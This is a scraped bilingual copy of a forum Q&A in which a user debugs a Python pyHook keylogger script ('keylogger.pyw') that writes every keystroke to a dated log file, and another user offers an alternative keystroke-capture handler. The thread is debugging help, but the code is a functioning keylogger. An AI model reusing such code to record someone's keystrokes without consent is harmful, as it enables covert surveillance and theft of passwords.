简体   繁体   English

python TypeError需要一个整数pyHook pythoncom

[英]Python TypeError an integer is required pyHook pythoncom

I wrote a script: 我写了一个脚本:

    import pythoncom, pyHook
    import time
    from time import strftime,localtime

    def OKBE(event):

            log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt")
            f=open(str(log),"a")

            if(str(event.Ascii)=="8"):
                f.write("<--")
                print("<--")
            elif(str(event.Ascii)=="13"):
                f.write("\nENTER "+str(time.strftime("%H,%M",localtime()))+"\n")

                print("\nENTER\n")
            elif(str(event.Ascii)=="32"):
                f.write(" ")
            else:
                f.write(chr(event.Ascii))
                print(str(event.Ascii))
                print(chr(event.Ascii))


    manager = pyHook.HookManager()
    manager.KeyDown = OKBE
    manager.HookKeyboard()
    pythoncom.PumpMessages()

but any time the event is a or p and some other letters i get this error: 但是只要事件是a或p以及其他一些字母,我都会收到此错误:

Traceback (most recent call last):
File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\Users\Miran\Desktop\Pythonprojekt\Keylogger\keylogger.pyw", line 10, in OKBE
log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt")
TypeError: an integer is required 

Anyone knows why? 有人知道为什么吗?

Event is a class (or should i say, instance of a class), you can call information from the instance (see code below) such as 'event.key' will give you the ASCII character code. 事件是一个类(或者我应该说一个类的实例),您可以从实例中调用信息(请参见下面的代码),例如“ event.key”将为您提供ASCII字符代码。 event.alt will return the status of the 'alt' key. event.alt将返回“ alt”键的状态。

I remember dealing with a similar issue when writing a python keylogger (although it has been an age). 我记得在编写python键盘记录器时遇到过类似的问题(尽管已经很久了)。 I cant see anything immediately wrong with your code. 我看不到您的代码有任何立即错误。 My 'OKBE' function looked more like this. 我的“ OKBE”功能看起来更像这样。

def OnKeyboardEvent(self, event):
    if (event.Ascii > 31 and event.Ascii < 127) or event.Ascii == 13 or event.Ascii == 9:
        data = (event.WindowName, event.Window, event.Time, event.Ascii, event.Key, event.Alt)
        print data # debugging

I believe using the above method catches most (if not all) of the usual keystrokes. 我相信使用上述方法可以捕获大多数(如果不是全部)常规击键。 Using that function above i created a class with other logging functions. 使用上面的函数,我创建了带有其他日志记录函数的类。

If you need anything else, or work out whats going on in your code, let me know :) 如果您还有其他需要,或者想知道代码中发生了什么,请告诉我:)

I think the issue is a bug... when i replace 我认为问题是个错误...当我更换时

log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt") by log="log.txt" log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt") by log="log.txt"

anything works fine 一切正常

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM